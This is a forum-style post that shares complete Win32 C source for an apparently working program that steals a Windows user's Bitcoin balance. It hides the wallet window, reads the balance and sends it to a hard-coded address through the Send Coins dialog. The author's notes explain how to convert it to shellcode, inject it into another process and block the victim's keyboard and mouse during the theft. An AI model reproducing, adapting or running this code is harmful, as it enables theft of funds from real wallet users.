Completely forgot to post this! Here's my proof of concept Win32 code that steals a Windows user's bitcoin balance:
https://gist.github.com/c7d025a44b352f4c955fRead the notes before you rush off to convert it to shellcode.
Notes:
- It will intentionally not work on anything bigger than a minuscule balance because it does not calculate the transaction fee. You'll need to implement transaction fee calculation before you can use this for real. That said, if you do manage to accidentally send your entire balance to the default address on there (one of mine), I'll send it back.
- Instead of Sleep()ing after sending/posting messages, it should loop for a bit while checking for the windows to have appeared.
- If you do some function patching in memory and spawn a detached thread with CreateThread(), you could have a shellcode version of this run in parallel to the vulnerable process so that there's no interruption in the vulnerable thread. You could also do this with VirtualAllocEx() + CreateRemoteThread() if you're insane.
- If you're feeling particularly devious, you could hook and dismiss all keyboard/mouse events using SetWindowsHookEx() and the WH_KEYBOARD_LL and WH_MOUSE_LL events while the shellcode is running. This prevents the user from manipulating the bitcoin windows before we're done manipulating them.
- This can be compiled using any version of Visual Studio made after 2000. It will probably work in Visual C++ 6.0, too.
In the course of writing this, it revealed that this section of Win32 code in init.cpp in bitcoin's codebase does not even work:
// Show the previous instance and exit
HWND hwndPrev = FindWindowA("wxWindowClassNR", "Bitcoin");
if (hwndPrev)
{
if (IsIconic(hwndPrev))
ShowWindow(hwndPrev, SW_RESTORE);
SetForegroundWindow(hwndPrev);
return false;
}
That should be: FindWindowW(L"wxWindow@00C9E8A0NR", L"Bitcoin")
And here's a copy of the code in case the github gist goes away at some point:
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stdio.h>
#include <conio.h>
#define MAX_BALANCE_LENGTH 32
#define RECEIVING_ADDRESS L"17K9G8MKceqcTJAWzcqAX4uSjnawsgdWwr"
int main()
{
printf("Finding Bitcoin window...\n");
HWND bitcoin_hwnd = FindWindowW(L"wxWindow@00C9E8A0NR", L"Bitcoin");
if(!IsWindow(bitcoin_hwnd))
{
printf("Couldn't find Bitcoin window\n");
return 1;
}
/* -------------------------------------------------------------------------------------------------------------- */
ShowWindow(bitcoin_hwnd, SW_HIDE);
printf("Finding balance window...\n");
HWND balance_label_hwnd = FindWindowExW(bitcoin_hwnd, NULL, L"Static", L"Balance:");
if(!IsWindow(balance_label_hwnd))
{
printf("Couldn't find balance label\n");
return 1;
}
/* -------------------------------------------------------------------------------------------------------------- */
printf("Finding balance...\n");
wchar_t balance[MAX_BALANCE_LENGTH] = L"";
GetWindowTextW(GetNextWindow(balance_label_hwnd, GW_HWNDNEXT), balance, sizeof balance);
balance[(wcslen(balance)-2)] = '\0'; // The balance has two space characters (ASCII 32) on the end.
printf("Balance is: %S\n", balance);
if(!wcscmp(balance, L"0.00"))
{
printf("User has no money, can't send anything. :(\n");
return 1;
}
/* -------------------------------------------------------------------------------------------------------------- */
printf("Finding toolbar...\n");
HWND toolbar_hwnd = FindWindowExW(bitcoin_hwnd, NULL, L"ToolbarWindow32", NULL);
if(!IsWindow(toolbar_hwnd))
{
printf("Couldn't find toolbar\n");
return 1;
}
DWORD toolbar_open_coordinates = MAKELPARAM(4, 4);
PostMessageW(toolbar_hwnd, WM_LBUTTONDOWN, NULL, toolbar_open_coordinates);
Sleep(50);
// The WM_LBUTTONUP isn't considered processed until the Send Coins dialog is dismissed so we need to Post it.
PostMessageW(toolbar_hwnd, WM_LBUTTONUP, NULL, toolbar_open_coordinates);
Sleep(750);
/* -------------------------------------------------------------------------------------------------------------- */
printf("Finding Send Coins dialog...\n");
HWND send_coins_hwnd = FindWindowW(L"#32770", L"Send Coins");
if(!IsWindow(send_coins_hwnd))
{
printf("Couldn't find Send Coins dialog\n");
return 1;
}
/* -------------------------------------------------------------------------------------------------------------- */
printf("Filling out the form...\n");
HWND pay_to_label_hwnd = FindWindowExW(send_coins_hwnd, NULL, L"Static", L"Pay &To:");
HWND amount_label_hwnd = FindWindowExW(send_coins_hwnd, NULL, L"Static", L"&Amount:");
if(!IsWindow(pay_to_label_hwnd) || !IsWindow(amount_label_hwnd))
{
printf("Couldn't find one of the edit box labels\n");
return 1;
}
// SetWindowText doesn't work across processes, but WM_SETTEXT does.
SendMessageW(GetNextWindow(pay_to_label_hwnd, GW_HWNDNEXT), WM_SETTEXT, NULL, (LPARAM)RECEIVING_ADDRESS);
SendMessageW(GetNextWindow(amount_label_hwnd, GW_HWNDNEXT), WM_SETTEXT, NULL, (LPARAM)balance);
/* -------------------------------------------------------------------------------------------------------------- */
printf("Finding Send button...\n");
HWND send_button_hwnd = FindWindowExW(send_coins_hwnd, NULL, L"Button", L"&Send");
if(!IsWindow(send_button_hwnd))
{
printf("Couldn't find Send button\n");
return 1;
}
/* -------------------------------------------------------------------------------------------------------------- */
printf("Sending balance (%S)\n", balance);
DWORD send_button_coordinates = MAKELPARAM(4, 4);
SendMessageW(send_button_hwnd, WM_LBUTTONDOWN, NULL, send_button_coordinates);
Sleep(50);
// This would block because of the MessageBox that is spawned.
PostMessageW(send_button_hwnd, WM_LBUTTONUP, NULL, send_button_coordinates);
Sleep(2000);
/* -------------------------------------------------------------------------------------------------------------- */
printf("Finding Sending messagebox...\n");
HWND sending_hwnd = FindWindowW(L"#32770", L"Sending...");
if(!IsWindow(sending_hwnd))
{
printf("Couldn't find Sending messagebox\n");
return 1;
}
// Since the messagebox is modal this gets processed by the parent and kills both.
SendMessage(sending_hwnd, WM_CLOSE, NULL, NULL);
/* -------------------------------------------------------------------------------------------------------------- */
printf("All done! Press any key to exit.\n");
_getch();
return 0;
}